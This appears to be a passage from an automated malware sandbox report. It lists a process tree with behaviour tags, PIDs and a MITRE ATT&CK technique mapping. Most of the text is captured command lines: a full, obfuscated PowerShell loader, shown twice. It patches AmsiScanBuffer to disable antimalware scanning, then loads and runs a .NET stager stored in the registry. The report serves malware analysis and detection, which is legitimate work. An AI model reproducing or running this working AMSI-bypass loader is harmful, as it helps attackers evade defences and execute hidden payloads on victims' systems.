$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+'ft'+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+'.'+'U'+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+[Char](78)+'a'+[Char](116)+'i'+[Char](118)+''+[Char](101)+'M'+'e'+'t'+'h'+''+'o'+'ds');$bBwHaFIpMHqQue=$DPtApZjYvKDDZ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+'l'+'i'+'c'+[Char](44)+'S'+[Char](116)+'a'+'t'+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EAkahnborJBZfGUinZi=xvVHeVzoCLZl @([String])([IntPtr]);$rQnOrzgKSzwcKjgHRtDOnF=xvVHeVzoCLZl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PBuiRJooxnW=$DPtApZjYvKDDZ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+[Char](110)+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+'n'+'e'+[Char](108)+'3'+'2'+''+[Char](46)+''+[Char](100)+'ll')));$udEaBIlTwxfOFg=$bBwHaFIpMHqQue.Invoke($Null,@([Object]$PBuiRJooxnW,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+'r'+''+'a'+''+'r'+''+[Char](121)+''+[Char](65)+'')));$CfsdrlZIyaPnTTZZj=$bBwHaFIpMHqQue.Invoke($Null,@([Object]$PBuiRJooxnW,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+'P'+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$TSQYfXJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($udEaBIlTwxfOFg,$EAkahnborJBZfGUinZi).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i.'+'d'+''+'l'+''+[Char](108)+'');$rwCJZdmUuyiRzjVNa=$bBwHaFIpMHqQue.Invoke($Null,@([Object]$TSQYfXJ,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+'u'+[Char](102)+''+'f'+''+'e'+''+'r'+'')));$EUflxJyeuR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CfsdrlZIyaPnTTZZj,$rQnOrzgKSzwcKjgHRtDOnF).Invoke($rwCJZdmUuyiRzjVNa,[uint32]8,4,[ref]$EUflxJyeuR);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](52+79),[Byte](55+137),[Byte](187-187),[Byte](154+30),[Byte](104-17),[Byte](244-244),[Byte](231-224),[Byte](17+111),[Byte](241-104),[Byte](145+65),[Byte](178+17),[Byte](70+61),[Byte](219-26),[Byte](157-157)),0,$rwCJZdmUuyiRzjVNa,82-68);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CfsdrlZIyaPnTTZZj,$rQnOrzgKSzwcKjgHRtDOnF).Invoke($rwCJZdmUuyiRzjVNa,[uint32]8,0x20,[ref]$EUflxJyeuR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'$'+''+[Char](83)+''+'H'+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3592

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5756

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:gOWohYxqSROl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jzIfjsGRHfEFyw,[Parameter(Position=1)][Type]$nUclTtjLCZ)$dppjnUCeLgW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+''+'l'+'e'+[Char](99)+''+[Char](116)+'edDe'+[Char](108)+'e'+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType('M'+'y'+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e','C'+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$dppjnUCeLgW.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+'N'+'a'+'me,'+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+'y'+'S'+'ig'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+'ic',[Reflection.CallingConventions]::Standard,$jzIfjsGRHfEFyw).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+'ana'+'g'+''+'e'+'d');$dppjnUCeLgW.DefineMethod('I'+'n'+''+[Char](118)+'o'+[Char](107)+'e',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+',N'+'e'+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+''+','+''+[Char](86)+'i'+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$nUclTtjLCZ,$jzIfjsGRHfEFyw).SetImplementationFlags(''+[Char](82)+'u'+'n'+'ti'+'m'+''+[Char](101)+','+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+'e'+[Char](100)+'');Write-Output $dppjnUCeLgW.CreateType();}$RvqghadEbKfVl=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+'r'+[Char](111)+'so'+[Char](102)+'t.'+[Char](87)+''+[Char](105)+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'sa'+[Char](102)+''+[Char](101)+'N'+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$HGNyXHFGEBSyav=$RvqghadEbKfVl.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'ro'+[Char](99)+''+'A'+'d'+[Char](100)+'r'+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+'S'+''+'t'+''+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hXGITikMVSWfAFARgGl=gOWohYxqSROl @([String])([IntPtr]);$GAwUHbQBalthJKxOKEqDBL=gOWohYxqSROl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OafsxvnKlMC=$RvqghadEbKfVl.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+'du'+'l'+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+'l'+[Char](108)+'')));$vYRxHWxuYopSII=$HGNyXHFGEBSyav.Invoke($Null,@([Object]$OafsxvnKlMC,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+'b'+[Char](114)+''+'a'+'r'+'y'+''+[Char](65)+'')));$qSOitWQkqLtfbfrVX=$HGNyXHFGEBSyav.Invoke($Null,@([Object]$OafsxvnKlMC,[Object]('V'+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+''+'l'+''+'P'+'ro'+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$pnyNqrA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vYRxHWxuYopSII,$hXGITikMVSWfAFARgGl).Invoke('ams'+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$XTnGyjDXNwbcKwVZK=$HGNyXHFGEBSyav.Invoke($Null,@([Object]$pnyNqrA,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+'r')));$uDbxSXZfll=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qSOitWQkqLtfbfrVX,$GAwUHbQBalthJKxOKEqDBL).Invoke($XTnGyjDXNwbcKwVZK,[uint32]8,4,[ref]$uDbxSXZfll);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](59+78),[Byte](217-25),[Byte](151+33),[Byte](223-136),[Byte](144-144),[Byte](97-90),[Byte](197-69),[Byte](255-124),[Byte](73+162),[Byte](24-24),[Byte](255-60),[Byte](55+82),[Byte](102+117)),0,$XTnGyjDXNwbcKwVZK,115-102);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qSOitWQkqLtfbfrVX,$GAwUHbQBalthJKxOKEqDBL).Invoke($XTnGyjDXNwbcKwVZK,[uint32]8,0x20,[ref]$uDbxSXZfll);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+'$'+''+'S'+'H'+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:gOWohYxqSROl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jzIfjsGRHfEFyw,[Parameter(Position=1)][Type]$nUclTtjLCZ)$dppjnUCeLgW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+''+'l'+'e'+[Char](99)+''+[Char](116)+'edDe'+[Char](108)+'e'+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType('M'+'y'+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e','C'+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$dppjnUCeLgW.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+'N'+'a'+'me,'+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+'y'+'S'+'ig'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+'ic',[Reflection.CallingConventions]::Standard,$jzIfjsGRHfEFyw).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+'ana'+'g'+''+'e'+'d');$dppjnUCeLgW.DefineMethod('I'+'n'+''+[Char](118)+'o'+[Char](107)+'e',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+',N'+'e'+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+''+','+''+[Char](86)+'i'+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$nUclTtjLCZ,$jzIfjsGRHfEFyw).SetImplementationFlags(''+[Char](82)+'u'+'n'+'ti'+'m'+''+[Char](101)+','+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+'e'+[Char](100)+'');Write-Output $dppjnUCeLgW.CreateType();}$RvqghadEbKfVl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+'r'+[Char](111)+'so'+[Char](102)+'t.'+[Char](87)+''+[Char](105)+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'sa'+[Char](102)+''+[Char](101)+'N'+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$HGNyXHFGEBSyav=$RvqghadEbKfVl.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'ro'+[Char](99)+''+'A'+'d'+[Char](100)+'r'+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+'S'+''+'t'+''+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hXGITikMVSWfAFARgGl=gOWohYxqSROl @([String])([IntPtr]);$GAwUHbQBalthJKxOKEqDBL=gOWohYxqSROl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OafsxvnKlMC=$RvqghadEbKfVl.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+'du'+'l'+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+'l'+[Char](108)+'')));$vYRxHWxuYopSII=$HGNyXHFGEBSyav.Invoke($Null,@([Object]$OafsxvnKlMC,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+'b'+[Char](114)+''+'a'+'r'+'y'+''+[Char](65)+'')));$qSOitWQkqLtfbfrVX=$HGNyXHFGEBSyav.Invoke($Null,@([Object]$OafsxvnKlMC,[Object]('V'+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+''+'l'+''+'P'+'ro'+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$pnyNqrA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vYRxHWxuYopSII,$hXGITikMVSWfAFARgGl).Invoke('ams'+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$XTnGyjDXNwbcKwVZK=$HGNyXHFGEBSyav.Invoke($Null,@([Object]$pnyNqrA,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+'r')));$uDbxSXZfll=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qSOitWQkqLtfbfrVX,$GAwUHbQBalthJKxOKEqDBL).Invoke($XTnGyjDXNwbcKwVZK,[uint32]8,4,[ref]$uDbxSXZfll);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](59+78),[Byte](217-25),[Byte](151+33),[Byte](223-136),[Byte](144-144),[Byte](97-90),[Byte](197-69),[Byte](255-124),[Byte](73+162),[Byte](24-24),[Byte](255-60),[Byte](55+82),[Byte](102+117)),0,$XTnGyjDXNwbcKwVZK,115-102);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qSOitWQkqLtfbfrVX,$GAwUHbQBalthJKxOKEqDBL).Invoke($XTnGyjDXNwbcKwVZK,[uint32]8,0x20,[ref]$uDbxSXZfll);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+'$'+''+'S'+'H'+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4472

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion